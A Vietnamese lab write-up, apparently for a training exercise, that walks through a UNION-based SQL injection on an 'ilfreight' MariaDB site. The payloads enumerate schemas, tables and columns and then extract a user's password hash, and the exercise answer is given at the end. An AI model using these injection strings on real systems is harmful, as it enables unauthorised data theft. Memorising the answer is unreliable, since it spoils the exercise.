1. What is the password hash for 'newuser' stored in the 'users' table in the 'ilfreight' database?

A screenshot of a computer

Description automatically generated

Trang web tìm kiếm dựa trên cột Port Code

Sử dụng ’ ta phát hiện được bất thường và phiên bản server là MariaDB viết theo MySQL

```bash

CN SHA’

```

A blue box with white text

Description automatically generated

Biến bất thường thành bình thường bằng cách thêm ký tự comment

```bash

CN SHA'-- -

```

A screenshot of a computer

Description automatically generated

Xác định số cột của bảng port bằng câu lệnh

```bash

CN SHA’ order by $-- -

```

A screenshot of a computer

Description automatically generated

A screenshot of a computer

Description automatically generated

Vậy bảng port có 4 cột

Sử dụng UNION SELECT để trích xuất thông tin

Trích xuất CSDL đang có

```bash

CNSHA' UNION SELECT NULL,GROUP\_CONCAT(0x7c,schema\_name,0x7c),NULL,NULL FROM information\_schema.schemata-- -

```

A blue and white box with a white box and a white box with a white box with a white box with a white box with a white box with a black box with a white box with a

Description automatically generated

Tìm kiếm các bảng trong CSDL Ta thấy trong CSDL ilfreight có bảng users

```bash

CNSHA' UNION SELECT NULL,GROUP\_CONCAT(0x7c,table\_name,0x7C),NULL,NULL FROM information\_schema.tables WHERE table\_schema='ilfreight'-- -

```

A screenshot of a computer

Description automatically generated

Xác định số cột trong bảng users

```bash

CNSHA' UNION SELECT NULL,GROUP\_CONCAT(0x7c,column\_name,0x7C),NULL,NULL FROM information\_schema.columns WHERE table\_name='users'-- -

```

A screenshot of a computer

Description automatically generated

```bash

CNSHA' UNION SELECT NULL,password,NULL,NULL FROM users where username='newuser'-- -

```

A blue and white box with a white box and a black box with a white box with a white box with a black box with a white box with a black box with a white box with a

Description automatically generated

P/s: 9da2c9bcdf39d8610954e0e11ea8f45f